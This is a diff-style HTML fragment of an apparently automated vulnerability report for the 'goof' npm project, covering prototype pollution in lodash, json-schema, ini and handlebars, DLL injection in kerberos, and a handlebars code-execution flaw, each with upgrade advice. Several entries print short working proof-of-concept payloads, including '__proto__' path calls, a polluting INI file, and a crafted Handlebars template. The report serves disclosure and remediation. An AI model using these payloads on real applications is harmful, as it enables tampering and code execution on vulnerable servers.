+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + lodash +
  • + +
  • Introduced through: + + goof@1.0.1 and lodash@4.17.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + lodash@4.17.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
+ +
+ +
+ +

Overview

+

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

+

Affected versions of this package are vulnerable to Prototype Pollution. The function zipObjectDeep can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

+

PoC

+
const _ = require('lodash');
+        _.zipObjectDeep(['__proto__.z'],[123])
+        console.log(z) // 123
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade lodash to version 4.17.20 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + lodash +
  • + +
  • Introduced through: + + goof@1.0.1 and lodash@4.17.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + lodash@4.17.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
+ +
+ +
+ +

Overview

+

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

+

Affected versions of this package are vulnerable to Prototype Pollution via the setWith and set functions.

+

PoC by awarau

+
    +
  • Create a JS file with this contents:
    lod = require('lodash')
    +        lod.setWith({}, "__proto__[test]", "123")
    +        lod.set({}, "__proto__[test2]", "456")
    +        console.log(Object.prototype)
    +        
    +
  • +
  • Execute it with node
  • +
  • Observe that test and test2 is now in the Object.prototype.
  • +
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade lodash to version 4.17.17 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + lodash +
  • + +
  • Introduced through: + + goof@1.0.1 and lodash@4.17.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + lodash@4.17.4 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-generator@6.26.1 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + lodash@4.17.10 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-lib-instrument@1.10.1 + + babel-template@6.26.0 + + babel-traverse@6.26.0 + + babel-types@6.26.0 + + lodash@4.17.10 + + + +
  • +
+ +
+ +
+ +

Overview

+

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

+

Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade lodash to version 4.17.11 or higher.

+

References

+ + +
+ + + +
+
+

DLL Injection

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + kerberos +
  • + +
  • Introduced through: + + + goof@1.0.1, mongoose@4.2.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + mongodb@2.0.46 + + mongodb-core@1.2.19 + + kerberos@0.0.24 + + + +
  • +
+ +
+ +
+ +

Overview

+

Affected versions of this package are vulnerable to DLL Injection. An attacker can execute arbitrary code by creating a file with the same name in a folder that precedes the intended file in the DLL path search.

+

Remediation

+

Upgrade kerberos to version 1.0.0 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + json-schema +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + coveralls@3.0.9 + + request@2.88.0 + + http-signature@1.2.0 + + jsprim@1.4.1 + + json-schema@0.2.3 + + + +
  • +
+ +
+ +
+ +

Overview

+

Affected versions of this package are vulnerable to Prototype Pollution via the validate function, which when given a special payload will pollute Object with undesired attributes.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade json-schema to version 0.4.0 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ini +
  • + +
  • Introduced through: + + + goof@1.0.1, npmconf@0.0.24 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + npmconf@0.0.24 + + config-chain@1.1.12 + + ini@1.3.5 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + npmconf@0.0.24 + + ini@1.1.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

ini is an An ini encoder/decoder for node

+

Affected versions of this package are vulnerable to Prototype Pollution. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

+

PoC by Eugene Lim

+

payload.ini

+
[__proto__]
+        polluted = "polluted"
+        
+

poc.js:

+
var fs = require('fs')
+        var ini = require('ini')
+        
+        var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
+        console.log(parsed)
+        console.log(parsed.__proto__)
+        console.log(polluted)
+        
+
> node poc.js
+        {}
+        { polluted: 'polluted' }
+        { polluted: 'polluted' }
+        polluted
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade ini to version 1.3.6 or higher.

+

References

+ + +
+ + + +
+
+

Remote Code Execution (RCE)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + handlebars +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + + +
  • +
+ +
+ +
+ +

Overview

+

handlebars is an extension to the Mustache templating language.

+

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.

+

POC

+
<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
+        <script> 
+        // compile the template 
+        var s = ` 
+        {{#with (__lookupGetter__ "__proto__")}} 
+        {{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}} 
+        {{#with ../constructor.prototype}} 
+        {{../../constructor.defineProperty . "hasOwnProperty" ..}} 
+        {{/with}} 
+        {{/with}} 
+        {{/with}} 
+        {{#with "constructor"}} 
+        {{#with split}} 
+        {{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} 
+        {{#with .}} 
+        {{#with (concat (lookup join (slice 0 1)))}} 
+        {{#each (slice 2 3)}} 
+        {{#with (apply 0 ../..)}} 
+        {{.}} 
+        {{/with}} 
+        {{/each}} 
+        {{/with}} 
+        {{/with}} 
+        {{/with}} 
+        {{/with}} 
+        `;
+        var template = Handlebars.compile(s, { 
+        strict: true 
+        }); 
+        // execute the compiled template and print the output to the console console.log(template({})); 
+        </script>
+        
+

Remediation

+

Upgrade handlebars to version 4.7.7 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + handlebars +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + + +
  • +
+ +
+ +
+ +

Overview

+

handlebars is a extension to the Mustache templating language.

+

Affected versions of this package are vulnerable to Prototype Pollution. + Templates may alter an Object's __proto__ and __defineGetter__ properties, which may allow an attacker to execute arbitrary code on the server through crafted payloads.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

